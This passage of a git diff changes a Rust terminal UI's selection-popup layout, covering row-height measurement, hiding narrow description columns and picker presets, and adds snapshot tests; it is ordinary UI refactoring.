popup.render_ref(area, &mut buf); + + let snapshot = format!("{buf:?}"); + assert!(snapshot.contains("/tier-two")); + assert!(snapshot.contains("Keep default speed")); + snapshots.push(format!("width {width}\n{snapshot}")); + } + + insta::assert_snapshot!("command_popup_wrap_boundary", snapshots.join("\n\n")); + } + #[test] fn filtered_commands_keep_presentation_order_for_prefix() { let mut popup = CommandPopup::new(CommandPopupFlags::default(), Vec::new()); diff --git a/codex-rs/tui/src/bottom_pane/experimental_features_view.rs b/codex-rs/tui/src/bottom_pane/experimental_features_view.rs index dbd24a1257..4697cdc7f2 100644 --- a/codex-rs/tui/src/bottom_pane/experimental_features_view.rs +++ b/codex-rs/tui/src/bottom_pane/experimental_features_view.rs @@ -421,12 +421,7 @@ impl Renderable for ExperimentalFeaturesView { let header_height = header.desired_height(content_area.width.saturating_sub(4)); let rows = self.build_rows(); let rows_width = Self::rows_width(content_area.width); - let rows_height = measure_rows_height( - &rows, - &self.state, - MAX_POPUP_ROWS, - rows_width.saturating_add(1), - ); + let rows_height = measure_rows_height(&rows, &self.state, MAX_POPUP_ROWS, rows_width); let [header_area, _, list_area] = Layout::vertical([ Constraint::Max(header_height), Constraint::Max(1), @@ -472,12 +467,7 @@ impl Renderable for ExperimentalFeaturesView { fn desired_height(&self, width: u16) -> u16 { let rows = self.build_rows(); let rows_width = Self::rows_width(width); - let rows_height = measure_rows_height( - &rows, - &self.state, - MAX_POPUP_ROWS, - rows_width.saturating_add(1), - ); + let rows_height = measure_rows_height(&rows, &self.state, MAX_POPUP_ROWS, rows_width); let mut height = self .header(width.saturating_sub(4)) diff --git a/codex-rs/tui/src/bottom_pane/experimental_features_view_tests.rs b/codex-rs/tui/src/bottom_pane/experimental_features_view_tests.rs index c9b2ee4129..f5ac6e3ec4 100644 --- a/codex-rs/tui/src/bottom_pane/experimental_features_view_tests.rs +++ b/codex-rs/tui/src/bottom_pane/experimental_features_view_tests.rs @@ -1,6 +1,52 @@ use super::*; use pretty_assertions::assert_eq; +#[test] +fn experimental_features_keep_following_choice_at_wrap_boundary() { + let (app_tx, _app_rx) = tokio::sync::mpsc::unbounded_channel(); + let view = ExperimentalFeaturesView::new( + vec![ + ExperimentalFeatureItem { + key: "first".into(), + name: "First feature".into(), + description: "A description that fits exactly at this boundary.".into(), + enabled: true, + writable: true, + }, + ExperimentalFeatureItem { + key: "last".into(), + name: "Last feature".into(), + description: "Keep this choice visible.".into(), + enabled: false, + writable: true, + }, + ], + ThreadId::new(), + /*catalog_rx*/ None, + AppEventSender::new(app_tx), + crate::keymap::RuntimeKeymap::defaults().list, + ); + + let mut snapshots = Vec::new(); + for width in [70, 71, 72] { + let area = Rect::new( + /*x*/ 0, + /*y*/ 0, + width, + view.desired_height(width), + ); + let mut buffer = Buffer::empty(area); + view.render(area, &mut buffer); + let text = buffer_text(&buffer); + assert!( + text.contains("Last feature"), + "missing last choice at width {width}" + ); + snapshots.push(format!("width={width}\n{text}")); + } + insta::assert_snapshot!(snapshots.join("\n\n")); +} + #[test] fn experimental_features_analytics_plan_history() { let feature = Feature::AnalyticsPlanHistory; diff --git a/codex-rs/tui/src/bottom_pane/list_selection_view.rs b/codex-rs/tui/src/bottom_pane/list_selection_view.rs index 47298afe5e..84e73fe493 100644 --- a/codex-rs/tui/src/bottom_pane/list_selection_view.rs +++ b/codex-rs/tui/src/bottom_pane/list_selection_view.rs @@ -225,6 +225,7 @@ pub(crate) struct SelectionViewParams { /// Rendered left-column width to use for auto-sized rows. pub name_column_width: Option, pub header: Box, + pub header_view_all_hint: Option, /// Blank rows after the header; defaults to one. Inline banners use zero. pub header_gap: u16, pub initial_selected_idx: Option, @@ -282,6 +283,7 @@ impl Default for SelectionViewParams { description_layout: SelectionDescriptionLayout::Columns, name_column_width: None, header: Box::new(()), + header_view_all_hint: None, header_gap: 1, initial_selected_idx: None, side_content: Box::new(()), @@ -328,6 +330,7 @@ pub(crate) struct ListSelectionView { last_selected_actual_idx: Option, rendered_item_count: std::cell::Cell, header: Box, + header_view_all_hint: Option, header_gap: u16, initial_selected_idx: Option, side_content: Box, @@ -478,6 +481,7 @@ impl ListSelectionView { last_selected_actual_idx: None, rendered_item_count: std::cell::Cell::new(0), header, + header_view_all_hint: params.header_view_all_hint, header_gap: params.header_gap, initial_selected_idx: params.initial_selected_idx, side_content: params.side_content, @@ -719,7 +723,8 @@ impl ListSelectionView { .then(|| item.selected_description.clone()) .flatten() .or_else(|| item.description.clone()); - let wrap_indent = description.is_none().then_some(wrap_prefix_width); + let wrap_indent = (description.is_none() && item.disabled_reason.is_none()) + .then_some(wrap_prefix_width); GenericDisplayRow { selection_style: row_selection_style, name: name_with_marker, @@ -1313,7 +1318,7 @@ impl Renderable for ListSelectionView { self.rows_width(width) }; - // The shared measurement API reserves one column; compensate to match painted rows. + // Measure at the same width as the painted rows, including any side panel. let rows = self.build_rows(); let column_width = ColumnWidthConfig::new(self.col_width_mode, self.name_column_width) .with_description_layout(self.description_layout); @@ -1322,7 +1327,7 @@ impl Renderable for ListSelectionView { &rows, &self.state, self.max_visible_rows, - effective_rows_width.saturating_add(/*rhs*/ 1), + effective_rows_width, column_width, ), SelectionRowDisplay::SingleLine => { @@ -1465,7 +1470,7 @@ impl Renderable for ListSelectionView { &rows, &self.state, self.max_visible_rows, - effective_rows_width.saturating_add(/*rhs*/ 1), + effective_rows_width, column_width, ), SelectionRowDisplay::SingleLine => { @@ -1541,15 +1546,17 @@ impl Renderable for ListSelectionView { ] }; - // -- Header -- - if self.appearance == SelectionAppearance::Legacy && header_area.height < header_height { + if !self.is_searchable && header_area.height < header_height { let [header_area, elision_area] = Layout::vertical([Constraint::Fill(1), Constraint::Length(1)]).areas(header_area); header.render(header_area, buf); - Paragraph::new(vec![ - Line::from(format!("[… {header_height} lines] ctrl + a view all")).dim(), - ]) - .render(elision_area, buf); + let mut spans = vec![format!("[… {header_height} lines]").into()]; + if let Some(hint) = &self.header_view_all_hint { + spans.push(" ".into()); + spans.extend(hint.spans()); + spans.push(" view all".into()); + } + Line::from(spans).dim().render(elision_area, buf); } else { header.render(header_area, buf); } @@ -2983,14 +2990,6 @@ mod tests { ); } - #[test] - fn snapshot_fixed_col_width_mode_scroll_behavior() { - assert_snapshot!( - "list_selection_col_width_mode_fixed_scroll", - render_before_after_scroll_snapshot(ColumnWidthMode::Fixed, /*width*/ 96) - ); - } - #[test] fn auto_all_rows_col_width_does_not_shift_when_scrolling() { let (tx_raw, _rx) = unbounded_channel::(); @@ -3026,41 +3025,6 @@ mod tests { ); } - #[test] - fn fixed_col_width_is_30_70_and_does_not_shift_when_scrolling() { - let (tx_raw, _rx) = unbounded_channel::(); - let tx = AppEventSender::new(tx_raw); - let width = 96; - let mut view = ListSelectionView::new( - SelectionViewParams { - title: Some("Debug".to_string()), - items: make_scrolling_width_items(), - col_width_mode: ColumnWidthMode::Fixed, - ..Default::default() - }, - tx, - crate::keymap::RuntimeKeymap::defaults().list, - ); - - let before_scroll = render_lines_with_width(&view, width); - let before_col = description_col(&before_scroll, "8. Item 8", "desc 8"); - let expected_desc_col = ((width.saturating_sub(2) as usize) * 3) / 10; - assert_eq!( - before_col, expected_desc_col, - "fixed mode should place description column at a 30/70 split:\n{before_scroll}" - ); - - for _ in 0..8 { - view.handle_key_event(KeyEvent::from(KeyCode::Down)); - } - let after_scroll = render_lines_with_width(&view, width); - let after_col = description_col(&after_scroll, "8. Item 8", "desc 8"); - assert_eq!( - before_col, after_col, - "fixed description column changed across scroll:\nbefore:\n{before_scroll}\nafter:\n{after_scroll}" - ); - } - #[test] fn side_layout_width_half_uses_exact_split() { let (tx_raw, _rx) = unbounded_channel::(); diff --git a/codex-rs/tui/src/bottom_pane/memories_settings_view.rs b/codex-rs/tui/src/bottom_pane/memories_settings_view.rs index 0dd58b75c9..1afbaa2fd7 100644 --- a/codex-rs/tui/src/bottom_pane/memories_settings_view.rs +++ b/codex-rs/tui/src/bottom_pane/memories_settings_view.rs @@ -391,12 +391,8 @@ impl Renderable for MemoriesSettingsView { let header_height = header.desired_height(content_area.width.saturating_sub(4)); let rows = self.build_rows(); let rows_width = Self::rows_width(content_area.width); - let rows_height = measure_rows_height( - &rows, - self.active_state(), - MAX_POPUP_ROWS, - rows_width.saturating_add(1), - ); + let rows_height = + measure_rows_height(&rows, self.active_state(), MAX_POPUP_ROWS, rows_width); let [header_area, _, list_area, _, docs_area] = Layout::vertical([ Constraint::Max(header_height), Constraint::Max(1), @@ -446,12 +442,8 @@ impl Renderable for MemoriesSettingsView { }; let rows = self.build_rows(); let rows_width = Self::rows_width(width); - let rows_height = measure_rows_height( - &rows, - self.active_state(), - MAX_POPUP_ROWS, - rows_width.saturating_add(1), - ); + let rows_height = + measure_rows_height(&rows, self.active_state(), MAX_POPUP_ROWS, rows_width); let docs_height = if self.reset_confirmation.is_some() { 0 @@ -475,3 +467,7 @@ fn memories_settings_hint_line(keymap: &ListKeymap) -> Line<'static> { } Line::from(spans) } + +#[cfg(test)] +#[path = "memories_settings_view_tests.rs"] +mod tests; diff --git a/codex-rs/tui/src/bottom_pane/memories_settings_view_tests.rs b/codex-rs/tui/src/bottom_pane/memories_settings_view_tests.rs new file mode 100644 index 0000000000..198ccc1962 --- /dev/null +++ b/codex-rs/tui/src/bottom_pane/memories_settings_view_tests.rs @@ -0,0 +1,45 @@ +//! Verify that memory settings reserve enough space for wrapped choices. + +use super::*; + +#[test] +fn reset_confirmation_keeps_both_choices_at_wrap_boundary() { + let (app_tx, _app_rx) = tokio::sync::mpsc::unbounded_channel(); + let mut view = MemoriesSettingsView::new( + /*use_memories*/ true, + /*generate_memories*/ true, + AppEventSender::new(app_tx), + crate::keymap::RuntimeKeymap::defaults().list, + ); + view.open_reset_confirmation(); + + let mut snapshots = Vec::new(); + for width in [70, 71, 72] { + let area = Rect::new( + /*x*/ 0, + /*y*/ 0, + width, + view.desired_height(width), + ); + let mut buffer = Buffer::empty(area); + view.render(area, &mut buffer); + let text = buffer + .content + .chunks(usize::from(width)) + .map(|row| { + row.iter() + .map(ratatui::buffer::Cell::symbol) + .collect::() + .trim_end() + .to_string() + }) + .collect::>() + .join("\n"); + assert!( + text.contains("Go back"), + "missing cancel choice at width {width}" + ); + snapshots.push(format!("width={width}\n{text}")); + } + insta::assert_snapshot!(snapshots.join("\n\n")); +} diff --git a/codex-rs/tui/src/bottom_pane/mod.rs b/codex-rs/tui/src/bottom_pane/mod.rs index 0facd39743..61b1c097b9 100644 --- a/codex-rs/tui/src/bottom_pane/mod.rs +++ b/codex-rs/tui/src/bottom_pane/mod.rs @@ -176,11 +176,14 @@ pub(crate) use title_setup::preview_line_for_title_items; mod paste_burst; mod pending_input_preview; mod pending_thread_approvals; +mod picker_presets; mod picker_style; pub(crate) mod popup_consts; mod scroll_state; mod selection_picker_layout; mod selection_popup_common; +pub(crate) use selection_popup_common::menu_surface_padding_height; +pub(crate) use selection_popup_common::render_menu_surface; mod selection_row_layout; mod selection_tabs; mod startup; @@ -1335,7 +1338,12 @@ impl BottomPane { if params.footer_hint.is_none() || params.footer_hint.as_ref() == Some(&popup_consts::standard_popup_hint_line()) { - params.footer_hint = Some(self.standard_popup_hint_line()); + params.footer_hint = Some(match params.appearance { + SelectionAppearance::Picker => { + popup_consts::picker_hint_line_for_keymap(&self.keymap.list) + } + SelectionAppearance::Legacy => self.standard_popup_hint_line(), + }); } } @@ -2204,6 +2212,8 @@ impl Renderable for BottomPane { mod tests { #[path = "actionable_banner_tests.rs"] mod actionable_banner_tests; + #[path = "picker_hint_tests.rs"] + mod picker_hint_tests; use super::*; use crate::app::app_server_requests::ResolvedAppServerRequest; @@ -3356,6 +3366,7 @@ mod tests { pane.set_task_running(/*running*/ true); pane.show_selection_view(SelectionViewParams { + appearance: crate::bottom_pane::SelectionAppearance::Picker, title: Some("Agents".to_string()), items: vec![SelectionItem { name: "Main".to_string(), @@ -3459,6 +3470,7 @@ mod tests { keymap.list.cancel = vec![crate::key_hint::plain(KeyCode::Char('q'))]; pane.set_keymap_bindings(&keymap); pane.show_selection_view(SelectionViewParams { + appearance: crate::bottom_pane::SelectionAppearance::Picker, title: Some("Agents".to_string()), items: vec![SelectionItem { name: "Main".to_string(), diff --git a/codex-rs/tui/src/bottom_pane/picker_presets.rs b/codex-rs/tui/src/bottom_pane/picker_presets.rs new file mode 100644 index 0000000000..8e10cc9ccb --- /dev/null +++ b/codex-rs/tui/src/bottom_pane/picker_presets.rs @@ -0,0 +1,24 @@ +//! Shared presentation defaults for production selection menus. +//! +//! Callers retain their actions, filtering, previews, and cancellation policies. + +use super::ColumnWidthMode; +use super::PickerSurface; +use super::SelectionDescriptionLayout; +use super::SelectionViewParams; + +impl SelectionViewParams { + /// Start a panel picker with stable columns, hiding descriptions when they become too narrow. + /// Titles and subtitles wrap; standard hints follow the active list keymap. + pub(crate) fn picker() -> Self { + Self { + appearance: super::SelectionAppearance::Picker, + picker_surface: PickerSurface::Panel, + col_width_mode: ColumnWidthMode::AutoAllRows, + description_layout: SelectionDescriptionLayout::HideWhenNarrow { + min_description_width: 24, + }, + ..Self::default() + } + } +} diff --git a/codex-rs/tui/src/bottom_pane/picker_style.rs b/codex-rs/tui/src/bottom_pane/picker_style.rs index 1dace86ad8..0a93e2ad60 100644 --- a/codex-rs/tui/src/bottom_pane/picker_style.rs +++ b/codex-rs/tui/src/bottom_pane/picker_style.rs @@ -24,7 +24,7 @@ pub(crate) enum PickerSurface { Panel, } -pub(super) fn active_tab_style() -> Style { +pub(crate) fn active_tab_style() -> Style { let fallback = Style::default() .fg(Color::Reset) .bg(Color::Reset) diff --git a/codex-rs/tui/src/bottom_pane/popup_consts.rs b/codex-rs/tui/src/bottom_pane/popup_consts.rs index 7ea945fa40..876ce1f441 100644 --- a/codex-rs/tui/src/bottom_pane/popup_consts.rs +++ b/codex-rs/tui/src/bottom_pane/popup_consts.rs @@ -33,6 +33,21 @@ pub(crate) fn standard_popup_hint_line_for_keymap(list_keymap: &ListKeymap) -> L ) } +/// Compact footer for shared pickers, using only the configured list actions. +pub(crate) fn picker_hint_line_for_keymap(list_keymap: &ListKeymap) -> Line<'static> { + let mut spans = Vec::new(); + for (action, label) in [(ListAction::Accept, "select"), (ListAction::Cancel, "back")] { + if let Some(hint) = list_keymap.primary_hint(action) { + if !spans.is_empty() { + spans.push(" · ".dim()); + } + spans.extend(hint.spans()); + spans.push(format!(" {label}").dim()); + } + } + spans.into() +} + pub(crate) fn accept_cancel_hint_line( accept: Option, accept_label: &'static str, diff --git a/codex-rs/tui/src/bottom_pane/selection_picker_tests.rs b/codex-rs/tui/src/bottom_pane/selection_picker_tests.rs index 6151525ac3..99caf8e8b5 100644 --- a/codex-rs/tui/src/bottom_pane/selection_picker_tests.rs +++ b/codex-rs/tui/src/bottom_pane/selection_picker_tests.rs @@ -1,4 +1,4 @@ -//! Opt-in panels retain controls and page by the results that actually fit. +//! Picker panels retain controls and page by the results that actually fit. use super::*; use crate::app_event::AppEvent; @@ -10,7 +10,7 @@ fn browser() -> ListSelectionView { let (tx, _rx) = unbounded_channel::(); ListSelectionView::new( SelectionViewParams { - appearance: SelectionAppearance::Picker, + appearance: crate::bottom_pane::SelectionAppearance::Picker, picker_surface: PickerSurface::Panel, max_visible_rows: 24, title: Some("Keymap".to_owned()), @@ -59,6 +59,75 @@ fn render_browser(view: &ListSelectionView, width: u16, height: u16) -> (String, (text, buf) } +#[test] +fn shared_menu_presentation_at_wide_and_narrow_sizes() { + let keymap = crate::keymap::RuntimeKeymap::defaults().list; + let (tx, _rx) = unbounded_channel(); + let view = ListSelectionView::new( + SelectionViewParams { + appearance: crate::bottom_pane::SelectionAppearance::Picker, + title: Some("Choose an option".into()), + subtitle: Some("A menu with descriptions and disabled choices.".into()), + items: vec![ + SelectionItem { + name: "Recommended option".into(), + description: Some("The description column is visible when it fits.".into()), + ..Default::default() + }, + SelectionItem { + name: "A long option label that still wraps at narrow widths".into(), + description: Some("Additional details".into()), + ..Default::default() + }, + SelectionItem { + name: "Unavailable".into(), + disabled_reason: Some("This option needs a connected server.".into()), + ..Default::default() + }, + ], + footer_hint: Some(super::super::popup_consts::picker_hint_line_for_keymap( + &keymap, + )), + ..SelectionViewParams::picker() + }, + AppEventSender::new(tx), + keymap, + ); + let mut snapshots = Vec::new(); + for (width, height) in [(80, 24), (40, 16)] { + let (text, buffer) = render_browser(&view, width, height); + let selected_y = text.lines().position(|line| line.starts_with('›')).unwrap() as u16; + assert_eq!( + (0..width) + .map(|x| buffer[(x, selected_y)].bg) + .collect::>(), + vec![selection_style().bg.unwrap(); usize::from(width)] + ); + assert!(text.contains("enter select · esc back")); + snapshots.push(format!("{width}x{height}\n{text}")); + } + insta::assert_snapshot!(snapshots.join("\n\n")); +} + +#[test] +fn tiny_viewports_preserve_query_and_selection_when_enlarged() { + let mut view = browser(); + view.handle_key_event(KeyEvent::from(KeyCode::Char('2'))); + view.handle_key_event(KeyEvent::from(KeyCode::Down)); + let selected = view.selected_actual_idx(); + let before = render_browser(&view, /*width*/ 80, /*height*/ 24).0; + + for (width, height) in [(0, 0), (1, 1), (4, 1), (12, 3), (40, 8)] { + render_browser(&view, width, height); + assert_eq!( + (view.search_query.as_str(), view.selected_actual_idx()), + ("2", selected) + ); + } + + assert_eq!(render_browser(&view, /*width*/ 80, /*height*/ 24).0, before); +} + #[test] fn short_browser_keeps_header_tabs_search_and_footer() { let view = browser(); diff --git a/codex-rs/tui/src/bottom_pane/selection_popup_common.rs b/codex-rs/tui/src/bottom_pane/selection_popup_common.rs index 04b799dac7..e99d16ddfa 100644 --- a/codex-rs/tui/src/bottom_pane/selection_popup_common.rs +++ b/codex-rs/tui/src/bottom_pane/selection_popup_common.rs @@ -23,7 +23,6 @@ use super::scroll_state::ScrollState; use super::selection_row_layout::SelectionDescriptionLayout; use super::selection_row_layout::build_full_line; use super::selection_row_layout::line_to_owned; -use super::selection_row_layout::wrap_stacked_row; /// Render-ready representation of one row in a selection popup. /// @@ -39,8 +38,8 @@ pub(crate) struct GenericDisplayRow { pub display_shortcut: Option, pub match_indices: Option>, // indices to bold (char positions) pub description: Option, // optional grey text after the name - pub category_tag: Option, // optional right-side category label - pub disabled_reason: Option, // optional disabled message + pub category_tag: Option, + pub disabled_reason: Option, // optional disabled message pub is_disabled: bool, pub wrap_indent: Option, // optional indent for wrapped lines } @@ -50,15 +49,12 @@ pub(crate) struct GenericDisplayRow { /// Callers should use the same mode for both measurement and rendering, or the /// popup can reserve the wrong number of lines and clip content. #[derive(Clone, Copy, Debug, Default, PartialEq, Eq)] -#[cfg_attr(not(test), allow(dead_code))] pub(crate) enum ColumnWidthMode { /// Derive column placement from only the visible viewport rows. #[default] AutoVisible, /// Derive column placement from all rows so scrolling does not shift columns. AutoAllRows, - /// Use a fixed two-column split: 30% left (name), 70% right (description). - Fixed, } /// Column-width behavior plus an optional shared left-column width override. @@ -87,11 +83,6 @@ impl ColumnWidthConfig { } } -// Fixed split used by explicitly fixed column mode: 30% label, 70% -// description. -const FIXED_LEFT_COLUMN_NUMERATOR: usize = 3; -const FIXED_LEFT_COLUMN_DENOMINATOR: usize = 10; - const MENU_SURFACE_INSET_V: u16 = 1; const MENU_SURFACE_INSET_H: u16 = 2; @@ -149,58 +140,42 @@ fn compute_desc_col( return 0; } - let max_desc_col = content_width.saturating_sub(1) as usize; - // Reuse the existing fixed split constants to derive the auto cap: - // if fixed mode is 30/70 (label/description), auto mode caps label width - // at 70% to keep at least 30% available for descriptions. - let max_auto_desc_col = max_desc_col.min( - ((content_width as usize * (FIXED_LEFT_COLUMN_DENOMINATOR - FIXED_LEFT_COLUMN_NUMERATOR)) - / FIXED_LEFT_COLUMN_DENOMINATOR) - .max(1), - ); - match column_width.mode { - ColumnWidthMode::Fixed => ((content_width as usize * FIXED_LEFT_COLUMN_NUMERATOR) - / FIXED_LEFT_COLUMN_DENOMINATOR) - .clamp(1, max_desc_col), - ColumnWidthMode::AutoVisible | ColumnWidthMode::AutoAllRows => { - let max_name_width = match column_width.mode { - ColumnWidthMode::AutoVisible => rows_all - .iter() - .enumerate() - .skip(start_idx) - .take(visible_items) - .map(|(_, row)| { - let mut spans = row.name_prefix_spans.clone(); - spans.push(row.name.clone().into()); - if row.disabled_reason.is_some() { - spans.push(" (disabled)".dim()); - } - line_width(&Line::from(spans)) - }) - .max() - .unwrap_or(0), - ColumnWidthMode::AutoAllRows => rows_all - .iter() - .map(|row| { - let mut spans = row.name_prefix_spans.clone(); - spans.push(row.name.clone().into()); - if row.disabled_reason.is_some() { - spans.push(" (disabled)".dim()); - } - line_width(&Line::from(spans)) - }) - .max() - .unwrap_or(0), - ColumnWidthMode::Fixed => 0, - }; + // Leave at least 30% of the content width available for descriptions. + let max_desc_col = usize::from(content_width.saturating_sub(/*rhs*/ 1)); + let max_auto_desc_col = + max_desc_col.min((usize::from(content_width) * 70 / 100).max(/*other*/ 1)); + let (start, count) = match column_width.mode { + ColumnWidthMode::AutoVisible => (start_idx, visible_items), + ColumnWidthMode::AutoAllRows => (0, rows_all.len()), + }; + let max_name_width = rows_all + .iter() + .skip(start) + .take(count) + .map(|row| { + let mut spans = row.name_prefix_spans.clone(); + spans.push(row.name.clone().into()); + if row.disabled_reason.is_some() { + spans.push(" (disabled)".dim()); + } + line_width(&Line::from(spans)) + }) + .max() + .unwrap_or(/*default*/ 0); - column_width - .name_column_width - .map(|width| width.max(max_name_width)) - .unwrap_or(max_name_width) - .saturating_add(2) - .min(max_auto_desc_col) - } + let desc_col = column_width + .name_column_width + .map(|width| width.max(max_name_width)) + .unwrap_or(max_name_width) + .saturating_add(/*rhs*/ 2) + .min(max_auto_desc_col); + if column_width + .description_layout + .should_hide(content_width, desc_col) + { + 0 + } else { + desc_col } } @@ -208,7 +183,9 @@ fn compute_desc_col( fn wrap_indent(row: &GenericDisplayRow, desc_col: usize, max_width: u16) -> usize { let max_indent = max_width.saturating_sub(1) as usize; let indent = row.wrap_indent.unwrap_or_else(|| { - if row.description.is_some() || row.disabled_reason.is_some() { + if desc_col == 0 { + line_width(&Line::from(row.name_prefix_spans.clone())) + } else if row.description.is_some() || row.disabled_reason.is_some() { desc_col } else { 0 @@ -219,7 +196,7 @@ fn wrap_indent(row: &GenericDisplayRow, desc_col: usize, max_width: u16) -> usiz fn should_wrap_name_in_column(row: &GenericDisplayRow) -> bool { // This path intentionally targets plain option rows that opt into wrapped - // labels. Styled/fuzzy-matched rows keep the legacy combined-line path. + // labels. Styled/fuzzy-matched rows use the combined-line path. row.wrap_indent.is_some() && row.description.is_some() && row.disabled_reason.is_none() @@ -317,10 +294,7 @@ fn wrap_row_lines( width: u16, description_layout: SelectionDescriptionLayout, ) -> Vec> { - if description_layout.should_stack(width, desc_col) { - return wrap_stacked_row(row, width); - } - if should_wrap_name_in_column(row) { + if desc_col > 0 && should_wrap_name_in_column(row) { let wrapped = wrap_two_column_row(row, desc_col, width); if !wrapped.is_empty() { return wrapped; @@ -753,11 +727,12 @@ pub(crate) fn render_rows_single_line_with_col_width_mode( /// Compute the number of terminal rows required to render up to `max_results` /// items from `rows_all` given the current scroll/selection state and the -/// available `width`. Accounts for description wrapping and alignment so the -/// caller can allocate sufficient vertical space. +/// available `width`. Pass the render area's width after applying caller insets; +/// this helper does not reserve a scrollbar column. Accounts for description +/// wrapping and alignment so the caller can allocate sufficient vertical space. /// /// This function matches [`render_rows`] semantics (`AutoVisible` column -/// sizing). Mixing it with stable or fixed render modes can under- or +/// sizing). Mixing it with stable render modes can under- or /// over-estimate required height. pub(crate) fn measure_rows_height( rows_all: &[GenericDisplayRow], @@ -798,7 +773,8 @@ fn measure_rows_height_inner( return 1; // placeholder "no matches" line } - let content_width = width.saturating_sub(1).max(1); + // Match the renderer's full row width so exact-fit descriptions do not reserve an extra line. + let content_width = width.max(/*other*/ 1); let visible_items = max_results.min(rows_all.len()); let mut start_idx = state.scroll_top.min(rows_all.len().saturating_sub(1)); @@ -850,6 +826,113 @@ mod tests { use ratatui::style::Color; use ratatui::style::Modifier; + #[test] + fn narrow_description_columns_hide_without_stacking() { + let rows = [ + GenericDisplayRow { + name: "日本語".into(), + name_prefix_spans: vec!["› 1. ".into()], + description: Some("Details".into()), + ..Default::default() + }, + GenericDisplayRow { + name: "Blocked".into(), + name_prefix_spans: vec![" 2. ".into()], + disabled_reason: Some("Unavailable".into()), + is_disabled: true, + ..Default::default() + }, + ]; + let state = ScrollState::new(); + let columns = ColumnWidthConfig::new( + ColumnWidthMode::AutoAllRows, + /*name_column_width*/ None, + ) + .with_description_layout(SelectionDescriptionLayout::HideWhenNarrow { + min_description_width: 24, + }); + let mut snapshots = Vec::new(); + for width in [48, 49, 80] { + let height = measure_rows_height_with_col_width_mode( + &rows, &state, /*max_results*/ 2, width, columns, + ); + assert_eq!(height, 2); + let area = Rect::new(/*x*/ 0, /*y*/ 0, width, height); + let mut wrapped = Buffer::empty(area); + render_rows_with_col_width_mode( + area, + &mut wrapped, + &rows, + &state, + /*max_results*/ 2, + "", + columns, + ); + let mut single_line = Buffer::empty(area); + render_rows_single_line_with_col_width_mode( + area, + &mut single_line, + &rows, + &state, + /*max_results*/ 2, + "", + columns, + ); + assert_eq!(wrapped, single_line); + let text = wrapped + .content + .chunks(usize::from(width)) + .map(|row| { + row.iter() + .map(ratatui::buffer::Cell::symbol) + .collect::() + .trim_end() + .to_owned() + }) + .collect::>() + .join("\n"); + assert_eq!(text.contains("Details"), width >= 49); + assert_eq!(text.contains("Unavailable"), width >= 49); + assert!(text.contains("Blocked (disabled)")); + snapshots.push(format!("width={width}\n{text}")); + } + insta::assert_snapshot!("description_column_visibility", snapshots.join("\n\n")); + } + + #[test] + fn exact_fit_description_reserves_only_the_rendered_row() { + let rows = [GenericDisplayRow { + name: "/model".to_string(), + description: Some("fits exactly".to_string()), + ..Default::default() + }]; + let state = ScrollState::new(); + let width = 20; + let height = measure_rows_height(&rows, &state, /*max_results*/ 1, width); + let area = Rect::new(/*x*/ 0, /*y*/ 0, width, height); + let mut buf = Buffer::empty(area); + let rendered = render_rows( + area, + &mut buf, + &rows, + &state, + /*max_results*/ 1, + "no matches", + ); + assert_eq!(height, rendered); + let text = buf + .content() + .chunks(usize::from(width)) + .map(|row| { + row.iter() + .map(ratatui::buffer::Cell::symbol) + .collect::() + }) + .collect::>() + .join("\n"); + insta::assert_snapshot!(text, @"/model fits exactly"); + } + #[test] fn one_cell_width_falls_back_without_panic_for_wrapped_two_column_rows() { let row = GenericDisplayRow { diff --git a/codex-rs/tui/src/bottom_pane/selection_row_layout.rs b/codex-rs/tui/src/bottom_pane/selection_row_layout.rs index 00b34d2dd0..5dac95bb1d 100644 --- a/codex-rs/tui/src/bottom_pane/selection_row_layout.rs +++ b/codex-rs/tui/src/bottom_pane/selection_row_layout.rs @@ -8,23 +8,20 @@ use unicode_segmentation::UnicodeSegmentation; use super::selection_popup_common::GenericDisplayRow; use crate::line_truncation::line_width; use crate::width::display_width; -use crate::wrapping::RtOptions; -use crate::wrapping::word_wrap_line; -/// Controls whether selection-row descriptions stay in a column or move below -/// their labels when the description column becomes too narrow to read. +/// Controls whether selection-row descriptions remain visible when their column is narrow. #[derive(Clone, Copy, Debug, Default, PartialEq, Eq)] pub(crate) enum SelectionDescriptionLayout { #[default] Columns, - StackBelowWhenNarrow { + HideWhenNarrow { min_description_width: u16, }, } impl SelectionDescriptionLayout { - pub(super) fn should_stack(self, width: u16, desc_col: usize) -> bool { - let Self::StackBelowWhenNarrow { + pub(super) fn should_hide(self, width: u16, desc_col: usize) -> bool { + let Self::HideWhenNarrow { min_description_width, } = self else { @@ -60,7 +57,7 @@ fn combined_description( (None, Some(reason)) if matches!( description_layout, - SelectionDescriptionLayout::StackBelowWhenNarrow { .. } + SelectionDescriptionLayout::HideWhenNarrow { .. } ) => { Some(reason.clone()) @@ -70,15 +67,6 @@ fn combined_description( } } -fn stacked_description(row: &GenericDisplayRow) -> Option { - match (&row.description, &row.disabled_reason) { - (Some(desc), Some(reason)) => Some(format!("{desc} (disabled: {reason})")), - (Some(desc), None) => Some(desc.clone()), - (None, Some(reason)) => Some(reason.clone()), - (None, None) => None, - } -} - fn build_name_spans(row: &GenericDisplayRow, name_limit: usize) -> Vec> { let mut name_spans = Vec::with_capacity(row.name.len()); let mut used_width = 0usize; @@ -125,13 +113,6 @@ fn append_shortcut(row: &GenericDisplayRow, spans: &mut Vec>) { } } -fn append_category_tag(row: &GenericDisplayRow, spans: &mut Vec>) { - if let Some(tag) = row.category_tag.as_deref().filter(|tag| !tag.is_empty()) { - spans.push(" ".into()); - spans.push(tag.to_string().dim()); - } -} - /// Build the full display line for a row with the description padded to start /// at `desc_col`. pub(super) fn build_full_line( @@ -139,7 +120,9 @@ pub(super) fn build_full_line( desc_col: usize, description_layout: SelectionDescriptionLayout, ) -> Line<'static> { - let description = combined_description(row, description_layout); + let description = (desc_col > 0) + .then(|| combined_description(row, description_layout)) + .flatten(); let name_prefix_width = line_width(&Line::from(row.name_prefix_spans.clone())); let name_limit = description .as_ref() @@ -158,40 +141,5 @@ pub(super) fn build_full_line( } spans.push(description.dim()); } - append_category_tag(row, &mut spans); Line::from(spans) } - -/// Render a row as a full-width label followed by an indented description. -pub(super) fn wrap_stacked_row(row: &GenericDisplayRow, width: u16) -> Vec> { - let width = width.max(1); - let prefix_width = line_width(&Line::from(row.name_prefix_spans.clone())) - .min(width.saturating_sub(1) as usize); - let indent = " ".repeat(prefix_width); - - let mut label_spans = row.name_prefix_spans.clone(); - label_spans.extend(build_name_spans(row, usize::MAX)); - append_shortcut(row, &mut label_spans); - append_category_tag(row, &mut label_spans); - let label = Line::from(label_spans); - let label_options = RtOptions::new(width as usize) - 